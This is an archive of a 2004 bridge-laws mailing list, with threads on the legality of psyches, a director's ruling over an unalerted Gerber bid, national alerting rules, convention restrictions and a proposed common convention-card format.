-> > > The popular non-Euclidean definition of "psyche" > is: > > "Any deliberate call which is contrary to the > announced partnership system, includes both > legal deviations and illegal concealed > partnership agreements." > > The Euclidean Lawful definition of "Psychic Call" > is: > > "A deliberate and gross misstatement of honour > strength or suit length." > > A misstatement of partnership agreement cannot > be part of a (concealed or otherwise) partnership > agreement. Law 40A defines a psychic bid as > legal, but some partnership agreements as > possibly illegal. Law 40B prohibits concealed > partnership agreements. > > Therefore, as Herman states, a psychic call - by > definition - cannot be an infraction. > This is not the way I intended my statement. My statement was to say it is not the call which is the infraction, but the C of the CPU. Just like a 3Cl bid is NOT an infraction, but the non-alert and non-explanation Ghestem IS. > Confusion has been caused on this issue with the > minutes of the WBF LC moving the goalposts by > referring to "psyches" in the popular sense. > > In my opinion, the goalposts would be more stable > if the WBF LC had made a distinction between > Lawful psychic calls/bids, and unLawful concealed > partnership agreement pseudo-psyches. > I feel Richard, like many others, confuses two terms: partnership understanding and system. Partnership understanding is a term from the laws. It includes things like the knowledge about psyching frequency. "System" as such is not in the laws. But it includes the common agreed meanings of certain bids. Which is why I don't find any contradiction in the construction that a bid can be a psyche, ie outside the system, and still carry PU, with regards to the style and frequency. There is, IMO, a difference between -my 1He opening third in hand, of which my partner might know (and I don't believe it is important if he does or not) that it can be done on 0-3 points; and -my 2Cl opening which systemically shows weak diamonds or a strong hand. It is of course up to the SO and TD to decide when the difference applies, and I suggest using criteria like frequency and coping mechanisms for this. To illustrate the difference. My partner will raise 1He to 4He on a suitable hand (I don't even play Drury), but he will not go beyond 2Di over 2Cl with anything below 14HCP. And of course the 1He occurs once every 3 months, the 2Cl opening twice in a session. > Best wishes > > Richard James Hills > -------------------------------------------------------------------------------------- > Important Warning: If you have received this email in error, please > advise the sender and delete the message and attachments immediately. This > email, including attachments, may contain confidential, legally privileged > and/or copyright information, the unauthorised use of which is prohibited. > Any views expressed in this email are those of the individual sender, > except where the sender expressly, and with authority, states them to be > the view of the Department of Immigration and Multicultural and Indigenous > Affairs (DIMIA). DIMIA respects your privacy and has obligations under the > Privacy Act 1988 (see www.immi.gov.au). > -------------------------------------------------------------------------------------- > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > > > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From svenpran@online.no Wed Mar 31 09:01:16 2004 From: svenpran@online.no (Sven Pran) Date: Wed, 31 Mar 2004 10:01:16 +0200 Subject: [blml] Psyches In-Reply-To: <406A70A9.2050203@hdw.be> Message-ID: <000001c416f6$5844b440$6900a8c0@WINXP> > Herman De Wael ............. > Can anything be an infraction of L40A and not of L40B? Not really. But literally this is possible if the SO has done a sloppy = job with their regulations: L40B includes the condition "in accordance with the regulations of the = SO", a condition that is not present in L40A. So in theory it is possible to = have a regulation so badly written that the same action can be legal under = L40B while still a violation of L40A. Not that I suspect this ever to occur, = but you did in other words ask: Is it possible. Remove the condition "in accordance ..." from L40B and this possibility = no longer exists. Do we need this condition? No, it is redundant because of L80F. The laws should concentrate upon WHAT is legal or illegal, not = necessarily HOW these conditions are to be implemented. The essence of Law 40 is = that opponents should have all relevant information on agreements, not = whether such information should be given in one way or another. However, let me haste to add that I see absolutely no problems with L40 = as it is today - this is IMO purely an academic discussion. Sven From hermandw@hdw.be Wed Mar 31 09:07:08 2004 From: hermandw@hdw.be (Herman De Wael) Date: Wed, 31 Mar 2004 10:07:08 +0200 Subject: SV: [blml] Psyches In-Reply-To: <026a01c416c1$45aa3ba0$399868d5@tinyhrieuyik> References: <200403241718.JAA12210@mailhub.irvine.com> <4061C6F5.7050608@hdw.be> <026a01c416c1$45aa3ba0$399868d5@tinyhrieuyik> Message-ID: <406A7C2C.1050201@hdw.be> Nigel Guthrie wrote: > [Herman De Wael] > Indeed Adam, but your partner's psyching tendencies ARE AI > to you. So if this player chooses to believe his partner has > psyched, based on > (a) his partner's tendencies and > (b) his own hand, then he is allowed to do so. He has to > make certain that his opponents are also aware of (a), but > he does not have to reveal (b), or his conclusion. > > [Nigel] > > Pull the other one, it's got bells on, Herman :) > Sorry you think so, Nigel. > Please explain how you can you reveal (a) to opponents? I don't care about that - CC to start with. I realize it is impossible to alert, or anything. But I don't mind about this. I simply use L40C and try to figure out what could have happened if the psyching frequency HAD been revealed to opponents. Usually, this is nothing else. There is usually no damage from not knowing if your opponent psyches once a forthnight or once in a blue moon. > Regular psychers I have known prefer certain positions, > vulnerabilities, and hand-types. Frequency may also be > affected by the state of the match, or whether they've > just had a bad board. Some like to "advertise" with an > early blatant psyche. Subtle preferences and patterns > are harder to elucidate than any convention. > > I have never known opponents explain any of this although > the effect of a psyche on the result of a match is likely > to be greater than any convention in the partnership > armoury. > > They could put it on their CC! -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From fvieira@fe.up.pt Wed Mar 31 09:46:47 2004 From: fvieira@fe.up.pt (Fernando Vieira) Date: Wed, 31 Mar 2004 09:46:47 +0100 Subject: [blml] One trick to the offending side? In-Reply-To: References: <009701c41654$96b450c0$df8fcbc1@unknownx74e4p7> <4069A3F3.7010803@fe.up.pt> Message-ID: <406A8577.7030006@fe.up.pt> David Stevenson wrote: > Fernando Vieira wrote > >> I believe there is no offending side in the situation you described. >> Everyone is responsible for dummy. > > > While I have heard this many times there seems no basis for it. > There may have been something in an earlier Law book. Nowadays there > is nothing to say this so I do not believe it to be true. > Furthermore, I can think of no reason why it should be true either. My mistaque, you are right. Some leftovers of fast rulings :-( . L64B3 takes away transference of tricks when revoke was done with exposed cards and L64C leaves space to give redress to NOS if that is the case. If in the original case the discarded card in dummy was one of the two loosers would anyone transfer a trick ? (It does not seem to be the spirit of L64C) Best regards, Fernando From karel@esatclear.ie Wed Mar 31 12:25:31 2004 From: karel@esatclear.ie (Karel) Date: Wed, 31 Mar 2004 12:25:31 +0100 Subject: [blml] 12c3 Message-ID: <406aaaab.3fa3.0@esatclear.ie> Pairs E/W Vul Dealer West S KT9 H JT9xxx D x C xxxx West East S QJ87xx S Axx H Kx H Ax D xx D AKJTxx C AQ9 C Jx S x H Qxx D Qxxx C KT8xx Bidding W N E S 1S 3H 4C P 4H P 5C 5H 5NT P 6NT Dbl All Pass Before any lead is made South asks for an explanation of the bidding. 4C was Gerber and not alerted. 5NT according to West 1 king according to East 2 Kings. South calls the TD and says that the 4C's was not alerted and wants to reserve his rights. Result 6NT* making on a D/C squeeze. South calls the TD back and says if 4C was alerted he would have bid 5H's. South stated He also would not have doubled 6NT if he had known clubs was artifical. Your ruling and please state your exact score adjustment (if any). K. -- http://www.iol.ie From tom.cornelis@pi.be Wed Mar 31 12:31:18 2004 From: tom.cornelis@pi.be (Tom Cornelis) Date: Wed, 31 Mar 2004 13:31:18 +0200 Subject: [blml] systems policy References: <000801c4128a$620b6fc0$528bdbd5@lightningadmin> Message-ID: <001201c41713$af8df4b0$8a8bdbd5@lightningadmin> David Stevenson wrote > Tom Cornelis wrote > >Hi all, > > > >I was wondering why the Laws cater for SO to decide what conventions > >can be used. > >I often feel that I'm not allowed to use the bidding techniques that > >are currently available only because of the whim of some SO. > >I'm also a bit disappointed at that. Bridge proclaims to be played > >according to the same rules all over the world, but a standard system > >in one country cannot be played in others. > >I accept that SO can set conditions of contest, but those shouldn't > >include the play of the game. > > That is merely your personal opinion. All sports and mindsports have > world-wide rules and local rules - you accept that by saying that an SO > can set CoC. > > In effect it is your view that the line between Laws and regs is set > in the wrong place. The only things I can say are that > > [a] A majority of people who can make the decisions disagree with you, > otherwise the regs would tend to allow conventions more freedom, or at > least standardise them around the world, and I agree. But that doesn't make me liking their tyrannic rules. At least I'm happy I'm not alone in this. > [b] I personally disagree with you. Too many people do not like > complete freedom of conventions, I'm quite sure only few players would mind. They are the sort of players that think bridge is merely about the play of the cards, and getting to a contract within a system. Most of the time they also haven't got a clue about hand evaluation. They do not like psyching. And more importantly, they simply lack insight in the auction. I know quite a few players that are insulted or offended in the least for not being allowed to play conventions for which they are too junior. They are deemed not to be able to cope with them, hence they are not allowed to play them. Why would they mind? It is one of the most intriguing and enjoying parts of bridge. They are not allowed to experience this part and what for? Because a majority of players that make the rules are protecting themselves rather than beginners or bad players. They do not want it to be easy for competing players to gain levels of proficiency too easily. > and history has meant that the effects > of this are markedly different in different places. As far as I know, these rules were only set in place because the number of systems and conventions began to grow out of proportions according to the powers that be. Then they argued that beginners or worse players were too much damaged by the conventions and that they feared that they would stop playing bridge only because of this. IMO most beginners tend to stop playing because their opponents are unfriendly, rude and aggressive. > With the growth of > online bridge, international travel and better communications, people > are likely to move more together: until this happens we need the status > quo. In that case I would very much like to know the reasons. Best regards Tom From hermandw@hdw.be Wed Mar 31 12:54:38 2004 From: hermandw@hdw.be (Herman De Wael) Date: Wed, 31 Mar 2004 13:54:38 +0200 Subject: [blml] systems policy In-Reply-To: <001201c41713$af8df4b0$8a8bdbd5@lightningadmin> References: <000801c4128a$620b6fc0$528bdbd5@lightningadmin> <001201c41713$af8df4b0$8a8bdbd5@lightningadmin> Message-ID: <406AB17E.7010008@hdw.be> Hello Tom, nice arguments, but I believe you are looking at the wrong side of a few issues: Tom Cornelis wrote: > David Stevenson wrote > >>[b] I personally disagree with you. Too many people do not like >>complete freedom of conventions, > > > I'm quite sure only few players would mind. Statements like these are too difficult to prove, so they should not be made. > They are the sort of players that think bridge is merely about the play of > the cards, and getting to a contract within a system. Not necessarily. Some people believe that one can do with simple systems as well. But that does not mean that they are per se against you using your system. > Most of the time they also haven't got a clue about hand evaluation. Usually the kind of players you are talking of have a very good sense of hand evaluation. > They do not like psyching. That has no bearing on this discussion. > And more importantly, they simply lack insight in the auction. > I know quite a few players that are insulted or offended in the least for > not being allowed to play conventions for which they are too junior. This is the wrong reason as to why people are against system regulations. Yes, there are people who would like to play more complicated systems than they are allowed, but I don't believe they think that this is because they are judged to be not up to it. > They are deemed not to be able to cope with them, hence they are not allowed > to play them. > Why would they mind? > It is one of the most intriguing and enjoying parts of bridge. They are not > allowed to experience this part and what for? > Because a majority of players that make the rules are protecting themselves > rather than beginners or bad players. > They do not want it to be easy for competing players to gain levels of > proficiency too easily. > That is really not the reason why system regulations are made. Rather, system regulations are made because the SO does not want to burden opponents with having to cope with difficult defensive problems. When a pair in Belgium's honour division sits down to play against (... let's not name names), they just sit down and play. But when they are facing Cornelis-De Donder, they read your CC for 10 minutes and confirm their specific defences against that. If I have to play you and Steven on a friday evening, I cannot take 10 minutes before a round of 3 boards. Nor do I have, even with my regular partner, standard defensive methods. So we are at a disadvantag, not just of being about 6 classes weaker than you two, but also because of your system. It is the belief of organisers that this advantage needs to be curbed. I'm not saying that the current levels of regulating are optimal (*), but you must get the reasons behind system regulations correct. (*) after all, having system regulations in the world final seems a bit ludicrous to me. > >>and history has meant that the effects >>of this are markedly different in different places. > > > As far as I know, these rules were only set in place because the number of > systems and conventions began to grow out of proportions according to the > powers that be. Then they argued that beginners or worse players were too > much damaged by the conventions and that they feared that they would stop > playing bridge only because of this. IMO most beginners tend to stop playing > because their opponents are unfriendly, rude and aggressive. > This is indeed one of the reasons for system regulations, but it is hardly the one which the SO need to legitimize their need to issue such regulation. -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From svenpran@online.no Wed Mar 31 13:00:35 2004 From: svenpran@online.no (Sven Pran) Date: Wed, 31 Mar 2004 14:00:35 +0200 Subject: [blml] 12c3 In-Reply-To: <406aaaab.3fa3.0@esatclear.ie> Message-ID: <000001c41717$c6a2a110$6900a8c0@WINXP> > Karel > Sent: 31. mars 2004 13:26 > To: blml > Subject: [blml] 12c3 >=20 > Pairs E/W Vul > Dealer West >=20 > S KT9 > H JT9xxx > D x > C xxxx > West East > S QJ87xx S Axx > H Kx H Ax > D xx D AKJTxx > C AQ9 C Jx >=20 > S x > H Qxx > D Qxxx > C KT8xx > Bidding > W N E S > 1S 3H 4C P > 4H P 5C 5H > 5NT P 6NT Dbl > All Pass >=20 > Before any lead is made South asks for an explanation of the bidding. > 4C was Gerber and not alerted. 5NT according to West 1 king according = to > East > 2 Kings. >=20 > South calls the TD and says that the 4C's was not alerted and wants to > reserve > his rights. Result 6NT* making on a D/C squeeze. >=20 > South calls the TD back and says if 4C was alerted he would have bid = 5H's. > South stated He also would not have doubled 6NT if he had known clubs = was > artifical. >=20 >=20 > Your ruling and please state your exact score adjustment (if any). There are a few funny things here but first of all: In Norway the 4C bid is not to be alerted (as it is above 3NT). How come South asked questions before any lead was made? He seems to me = to be way out of turn as the opening lead is with North? (Or did North in = fact make his opening lead face down before South started asking questions?) I shall want to know what was declared (on the CC or similar) for = East-West relevant for understanding their 4C bid. I shall want to know what South = had reason to believe was the meaning of the 4C bid and why he did not ask a general question on the auction before passing the 4C bid. And my general impression is that South knew (post mortem) very well = what he would have done, but frankly I don't buy his story. I would consult with = my co-directors and unless finding myself in minority would let the result stand. Regards Sven =20 From Martin.Sinot@Micronas.com Wed Mar 31 13:24:24 2004 From: Martin.Sinot@Micronas.com (Sinot Martin) Date: Wed, 31 Mar 2004 14:24:24 +0200 Subject: [blml] 12c3 Message-ID: <94504F49BF58B0499D108530E98A52050E6463@rama.micronas.com> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org]On Behalf Of > Sven Pran > Sent: Wednesday, March 31, 2004 14:01 > To: blml > Subject: RE: [blml] 12c3 >=20 >=20 > > Karel > > Sent: 31. mars 2004 13:26 > > To: blml > > Subject: [blml] 12c3 > >=20 > > Pairs E/W Vul > > Dealer West > >=20 > > S KT9 > > H JT9xxx > > D x > > C xxxx > > West East > > S QJ87xx S Axx > > H Kx H Ax > > D xx D AKJTxx > > C AQ9 C Jx > >=20 > > S x > > H Qxx > > D Qxxx > > C KT8xx > > Bidding > > W N E S > > 1S 3H 4C P > > 4H P 5C 5H > > 5NT P 6NT Dbl > > All Pass > >=20 > > Before any lead is made South asks for an explanation of=20 > the bidding. > > 4C was Gerber and not alerted. 5NT according to West 1=20 > king according to > > East > > 2 Kings. > >=20 > > South calls the TD and says that the 4C's was not alerted=20 > and wants to > > reserve > > his rights. Result 6NT* making on a D/C squeeze. > >=20 > > South calls the TD back and says if 4C was alerted he would=20 > have bid 5H's. > > South stated He also would not have doubled 6NT if he had=20 > known clubs was > > artifical. > >=20 > >=20 > > Your ruling and please state your exact score adjustment (if any). >=20 > There are a few funny things here but first of all: > In Norway the 4C bid is not to be alerted (as it is above 3NT). > How come South asked questions before any lead was made? He=20 > seems to me to > be way out of turn as the opening lead is with North? (Or did=20 > North in fact > make his opening lead face down before South started asking=20 > questions?) >=20 > I shall want to know what was declared (on the CC or similar)=20 > for East-West > relevant for understanding their 4C bid. I shall want to know=20 > what South had > reason to believe was the meaning of the 4C bid and why he=20 > did not ask a > general question on the auction before passing the 4C bid. >=20 > And my general impression is that South knew (post mortem)=20 > very well what he > would have done, but frankly I don't buy his story. I would=20 > consult with my > co-directors and unless finding myself in minority would let=20 > the result > stand. >=20 > Regards Sven =20 My vote you have. Looks like a ridiculous double to me, even if the explanation is wrong. In the Netherlands bids above 3NT are not to be alerted, except in the first round of bidding (opening passes not counted). So this 4C-bid would have to be alerted, everything after that not. --=20 Martin Sinot martin.sinot at micronas.com From H.W.Pieters@gasunie.nl Wed Mar 31 13:27:57 2004 From: H.W.Pieters@gasunie.nl (Pieters H.W.) Date: Wed, 31 Mar 2004 14:27:57 +0200 Subject: [blml] 12c3 Message-ID: And then again: in the Netherlands the 4C bid is alertable - being a firs= t round bid. -----Oorspronkelijk bericht----- Van: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org]Namens Sven Pran Verzonden: woensdag 31 maart 2004 14:01 Aan: blml Onderwerp: RE: [blml] 12c3 > Karel > Sent: 31. mars 2004 13:26 > To: blml > Subject: [blml] 12c3 >=20 > Pairs E/W Vul > Dealer West >=20 > S KT9 > H JT9xxx > D x > C xxxx > West East > S QJ87xx S Axx > H Kx H Ax > D xx D AKJTxx > C AQ9 C Jx >=20 > S x > H Qxx > D Qxxx > C KT8xx > Bidding > W N E S > 1S 3H 4C P > 4H P 5C 5H > 5NT P 6NT Dbl > All Pass >=20 > Before any lead is made South asks for an explanation of the bidding. > 4C was Gerber and not alerted. 5NT according to West 1 king according = to > East > 2 Kings. >=20 > South calls the TD and says that the 4C's was not alerted and wants to > reserve > his rights. Result 6NT* making on a D/C squeeze. >=20 > South calls the TD back and says if 4C was alerted he would have bid 5H= 's. > South stated He also would not have doubled 6NT if he had known clubs w= as > artifical. >=20 >=20 > Your ruling and please state your exact score adjustment (if any). There are a few funny things here but first of all: In Norway the 4C bid is not to be alerted (as it is above 3NT). How come South asked questions before any lead was made? He seems to me t= o be way out of turn as the opening lead is with North? (Or did North in fa= ct make his opening lead face down before South started asking questions?) I shall want to know what was declared (on the CC or similar) for East-We= st relevant for understanding their 4C bid. I shall want to know what South = had reason to believe was the meaning of the 4C bid and why he did not ask a general question on the auction before passing the 4C bid. And my general impression is that South knew (post mortem) very well what= he would have done, but frankly I don't buy his story. I would consult with = my co-directors and unless finding myself in minority would let the result stand. Regards Sven =20 _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml _________________________________________________________________________= ___ This communication is intended only for use by the addressee. It may cont= ain=20 confidential or privileged information. If you receive this communication= =20 unintentionally, please let us know by reply immediately. Gasunie does no= t =20 guarantee that the information sent with this E-mail is correct and does = not=20 accept any liability for damages related thereto. = =20 _________________________________________________________________________= ___ From svenpran@online.no Wed Mar 31 13:57:43 2004 From: svenpran@online.no (Sven Pran) Date: Wed, 31 Mar 2004 14:57:43 +0200 Subject: [blml] 12c3 In-Reply-To: Message-ID: <000001c4171f$c1d281c0$6900a8c0@WINXP> The comments from you and from Sinot Martin made me check up our rules because I suddenly remembered that we have had a change in our alert regulations some time ago. Calls above 3NT are not to be alerted in Norway except for: - Conventional opening bids=20 - Conventional overcalls (during the first round of the auction). So what I said was correct after all; the 4C bid does not require an = alert in Norway. (I would not have significantly changed my opinion had an = alert been required!) Regards Sven > Pieters H.W. > And then again: in the Netherlands the 4C bid is alertable - being a = first > round bid. From sphboc@msn.com Wed Mar 31 14:29:19 2004 From: sphboc@msn.com (Steven Haver) Date: Wed, 31 Mar 2004 06:29:19 -0700 Subject: [blml] Common-format Recording of Partnership Methods Message-ID: It appears that every NCBO, not to mention on-line provider, employs a somewhat-different convention card format; participants are expected to fill out two copies, in the prescribed format. Has anyone attempted to define a "common" format for electronic recording of methods? One from which any desired convention-card format could be printed. I am "somewhat interested in" definiing/developing such a format . . would like to hear from others with similar interests. _________________________________________________________________ Check out MSN PC Safety & Security to help ensure your PC is protected and safe. http://specials.msn.com/msn/security.asp From twm@cix.co.uk Wed Mar 31 15:12:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Wed, 31 Mar 2004 15:12 +0100 (BST) Subject: [blml] Moving the goalposts (was Psyches) In-Reply-To: Message-ID: Why do some people insist that because my partnership will occasionally throw in a third-in-hand psyche at favourable that, for example, p-p-1H *systemically* shows anything other than H? Sure the psychic tendencies are disclosable (however the SO determines), and equally surely it would be *possible* for me to have systemic controls which would lead one to conclude that the 1H was indeed a multi-way bid. However if we could only acknowledge that partnership understandings (while disclosable) do not *automatically* create conventional agreements subject to L40D regulation we could get on with just playing bridge. Fairly obviously the EBU regulations are a pathetic contortion of the laws of bridge (telling TDs that they must award adjusted scores on hands where results have been achieved is simply ridiculous and encourages bad practice). The laws on adjusting for damage arising from illegal lack of disclosure should be enough for competent TDs (I guess the EBU doesn't trust theirs). Mind you, I have recently seen EBU TDs arguing that (as a passed hand) responding 1N to 1D on S.K73 H.A108 D.K83 C.9843 is "evidence of a CPU" - perhaps the EBU lack of trust is justified! Tim From twm@cix.co.uk Wed Mar 31 15:12:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Wed, 31 Mar 2004 15:12 +0100 (BST) Subject: [blml] Psyches In-Reply-To: <003601c415d1$9631a2c0$4f9968d5@tinyhrieuyik> Message-ID: Nigel wrote: > Hi Herman! Are partner's habits really AI to you? Perhaps, > in a regular four playing cut-out Rubber Bridge, I would > tend to agree. But at duplicate, what law justifies such inferences? > Do you declare all these important implicit agreements to opponents? > If so, how? Law40b. ...unless his side discloses the use of such call or play in accordance with the regulations of the sponsoring organisation. There are all sorts of understandings that might appear on a CC (what does a WTO show over 1N, when is a cue-bid 1st/2nd control, what is 4D in the sequence 1H-4C-4D, does one partner tend to hog the contracts, etc, etc). In reality the CC is too small and we rely on questions/answers for disclosure. One has to decide what is *important enough* for the CC and may get ruled against if one decides wrongly and opps are damaged (the layout of the cc provides some guidance here). When it comes to psyching tendencies in EBU land there are some rules. Psyching tendencies *may not* be disclosed on the CC but *must* be disclosed in answer to pertinent questions (don;task me why this is supposed to assist disclosure). Somewhat bizarrely we have an option (but not an obligation) to alert calls that are frequently psyched/tend to reveal an earlier psych. Thus a pair who is prepared to answer questions but doesn't get asked has "discloses the use of such call or play in accordance with the regulations of the sponsoring organisation" but a pair who puts "Please ask if you are interested in our psyching tendencies" on their CC is acting illegally. Go figure:) Tim From blml@blakjak.com Wed Mar 31 16:13:36 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 31 Mar 2004 16:13:36 +0100 Subject: [blml] 12c3 In-Reply-To: <000001c41717$c6a2a110$6900a8c0@WINXP> References: <406aaaab.3fa3.0@esatclear.ie> <000001c41717$c6a2a110$6900a8c0@WINXP> Message-ID: Sven Pran wrote >> Karel >> Sent: 31. mars 2004 13:26 >> To: blml >> Subject: [blml] 12c3 >> >> Pairs E/W Vul >> Dealer West >> >> S KT9 >> H JT9xxx >> D x >> C xxxx >> West East >> S QJ87xx S Axx >> H Kx H Ax >> D xx D AKJTxx >> C AQ9 C Jx >> >> S x >> H Qxx >> D Qxxx >> C KT8xx >> Bidding >> W N E S >> 1S 3H 4C P >> 4H P 5C 5H >> 5NT P 6NT Dbl >> All Pass >> >> Before any lead is made South asks for an explanation of the bidding. >> 4C was Gerber and not alerted. 5NT according to West 1 king according to >> East >> 2 Kings. >> >> South calls the TD and says that the 4C's was not alerted and wants to >> reserve >> his rights. Result 6NT* making on a D/C squeeze. >> >> South calls the TD back and says if 4C was alerted he would have bid 5H's. >> South stated He also would not have doubled 6NT if he had known clubs was >> artifical. >> >> >> Your ruling and please state your exact score adjustment (if any). > >There are a few funny things here but first of all: >In Norway the 4C bid is not to be alerted (as it is above 3NT). If you were directing in Ireland I really think you should direct according to Irish regulations. Since 4C is alertable in Ireland, and I presume this occurred there, it is more helpful to assume for the purposes of ruling that 4C would be alertable if it is not natural. >How come South asked questions before any lead was made? He seems to me to >be way out of turn as the opening lead is with North? (Or did North in fact >make his opening lead face down before South started asking questions?) On the other hand I agree with this. However, I doubt it affected anything. If there was misinformation and damage was claimed in the bidding South's later failure to follow correct procedure should make him subject to a short lecture but would not affect any adjustment. >I shall want to know what was declared (on the CC or similar) for East-West >relevant for understanding their 4C bid. I shall want to know what South had >reason to believe was the meaning of the 4C bid and why he did not ask a >general question on the auction before passing the 4C bid. When you play in a jurisdiction where 4C is alertable unless it is natural, and someone bids 4C in a situation where most people play 4C as natural, I think it very reasonable to take an unalerted 4C as natural without need to ask. >And my general impression is that South knew (post mortem) very well what he >would have done, but frankly I don't buy his story. I would consult with my >co-directors and unless finding myself in minority would let the result >stand. Consulting is very good, of course, but I think your approach is a bit harsh. Are you sure you are not overly affected by the fact that the alerting regs are different from Norway? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From fsb@ip-worldcom.ch Wed Mar 31 17:22:32 2004 From: fsb@ip-worldcom.ch (Yvan Calame) Date: Wed, 31 Mar 2004 18:22:32 +0200 Subject: [blml] Common-format Recording of Partnership Methods In-Reply-To: Message-ID: <3.0.6.32.20040331182232.0124bef8@ip-worldcom.ch> Steven wrote: >It appears that every NCBO, not to mention on-line provider, employs a >somewhat-different convention card format; participants are expected to fill >out two copies, in the prescribed format. > >Has anyone attempted to define a "common" format for electronic recording of >methods? One from which any desired convention-card format could be >printed. > >I am "somewhat interested in" definiing/developing such a format . . would >like to hear from others with similar interests. Some years ago I wrote a program to print WBF Convention Cards, it uses a text based file format to produce printed WBF CC. Exemple: from: http://fsbridge.nexenservices.com/yvan/lille_cc5.txt It can generate (via a PostScript File) printable/viewable versions: http://fsbridge.nexenservices.com/yvan/lille1.pdf http://fsbridge.nexenservices.com/yvan/lille2.pdf More export formats could be writen. I think a common CC file format must: 1) be Text based and human readable (read/write/modify on any platform) 2) contain at least all the fields that are on the WBF CC plus some locally based fields. yvan From john@asimere.com Wed Mar 31 17:31:02 2004 From: john@asimere.com (John (MadDog) Probst) Date: Wed, 31 Mar 2004 17:31:02 +0100 Subject: [blml] Moving the goalposts (was Psyches) In-Reply-To: References: Message-ID: In article , Tim West-Meads writes >Why do some people insist that because my partnership will occasionally >throw in a third-in-hand psyche at favourable that, for example, p-p-1H >*systemically* shows anything other than H? Sure the psychic tendencies >are disclosable (however the SO determines), and equally surely it would >be *possible* for me to have systemic controls which would lead one to >conclude that the 1H was indeed a multi-way bid. However if we could only >acknowledge that partnership understandings (while disclosable) do not >*automatically* create conventional agreements subject to L40D regulation >we could get on with just playing bridge. The more I see this regulation the more I intensely dislike it and the more I think it to be entirely illegal. I have an agreement that 1H shows Hearts (playing with you for example at five quid a hundred or for matchpoints, it makes no difference). I know that just occasionally it won't be hearts but I can't afford (financially or %age-wise) not to treat it as hearts. So, I alert and explain that "partner has been known to have a joke here". I cannot find any Law in either code which supports the view that I have an illegal or a concealed partnership understanding. You have a right to make whatever call you wish, and I have an obligation to disclose whatever I know about our style. Can anyone justify any reading of any Law in any code to suggest that this is illegal? > >Fairly obviously the EBU regulations are a pathetic contortion of the laws >of bridge (telling TDs that they must award adjusted scores on hands where >results have been achieved is simply ridiculous and encourages bad >practice). The laws on adjusting for damage arising from illegal lack of >disclosure should be enough for competent TDs (I guess the EBU doesn't >trust theirs). Mind you, I have recently seen EBU TDs arguing that >(as a passed hand) responding 1N to 1D on S.K73 H.A108 D.K83 C.9843 is >"evidence of a CPU" - perhaps the EBU lack of trust is justified! More a case of never having played for a fiver a hundred Tim , in my opinion. john > >Tim > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From Frances.Hinden@Shell.com Wed Mar 31 17:38:21 2004 From: Frances.Hinden@Shell.com (Hinden, Frances SI-PXS) Date: Wed, 31 Mar 2004 17:38:21 +0100 Subject: [blml] 12c3 Message-ID: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB184A@lonsc-s-031.europe.shell.com> -----Original Message----- From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org]On Behalf Of Karel Sent: 31 March 2004 12:26 To: blml Subject: [blml] 12c3 Pairs E/W Vul Dealer West S KT9 H JT9xxx D x C xxxx West East S QJ87xx S Axx H Kx H Ax D xx D AKJTxx C AQ9 C Jx S x H Qxx D Qxxx C KT8xx Bidding W N E S 1S 3H 4C P 4H P 5C 5H 5NT P 6NT Dbl All Pass Before any lead is made South asks for an explanation of the bidding. 4C was Gerber and not alerted. 5NT according to West 1 king according = to East 2 Kings. South calls the TD and says that the 4C's was not alerted and wants to = reserve his rights. Result 6NT* making on a D/C squeeze. South calls the TD back and says if 4C was alerted he would have bid = 5H's.=20 South stated He also would not have doubled 6NT if he had known clubs = was artifical. Your ruling and please state your exact score adjustment (if any). K. -- http://www.iol.ie [Frances] North has 14 cards. Assuming that 4C was in fact alertable, South has been (IMO) potentially = been damaged=20 as it is normal for 4C (and indeed 5C) to be natural. South is claiming damage on 2 grounds: a) Had 4C been alerted he would have been 5H b) He would not have doubled 6NT. Although it's sort of the wrong order, I'm going to take b) first as I = think it's easier. Let's suppose a) doesn't exist. You do not state if 4H or 5C or 5NT were alerted. If, say, 5C was = alerted then South would have been woken up to the fact that 4C was not natural, and he = should have asked before doubling. In that case it's clear not to adjust. Similarly if 4H were alerted that might suggest that 4C was not=20 natural, as it's usually natural if 4C were natural. If none of the bids (other than possibly 5NT) were alerted from 4C = upwards I would allow South to have his double back and adjust to 6NT undoubled for both = sides as I=20 agree he seems to have a double if 4C and 5C were natural, but not if = they were Gerber. Now let's look at a) This is trickier. I want to know why South passed over 4C natural and = forcing, bid 5H over a 5C "sign-off" (unless it was alerted, see above) but says he = would have=20 bid 5H over 4C Gerber. This seems unlikely. However, it's possible he = has a good story. In that case I want to know EW's agreements about actions over = 5H over a=20 Gerber bid. I can see all sorts of potential adjustments, ranging from = 5Hx -1100 through 6S making to 6NT making. East bid 6NT at the table knowing his = partner had 1 ace; I'm prepared to say that would also happen even with the 5H bid, = depending on their agreements as to whether West can show his ace. So what's my ruling? It depends on exact what else was alerted in the = auction. From svenpran@online.no Wed Mar 31 18:06:59 2004 From: svenpran@online.no (Sven Pran) Date: Wed, 31 Mar 2004 19:06:59 +0200 Subject: [blml] 12c3 In-Reply-To: Message-ID: <000001c41742$94c64a40$6900a8c0@WINXP> > David Stevenson > Sven Pran wrote > >> Karel > >> Sent: 31. mars 2004 13:26 > >> To: blml > >> Subject: [blml] 12c3 > >> > >> Pairs E/W Vul > >> Dealer West > >> > >> S KT9 > >> H JT9xxx > >> D x > >> C xxxx > >> West East > >> S QJ87xx S Axx > >> H Kx H Ax > >> D xx D AKJTxx > >> C AQ9 C Jx > >> > >> S x > >> H Qxx > >> D Qxxx > >> C KT8xx > >> 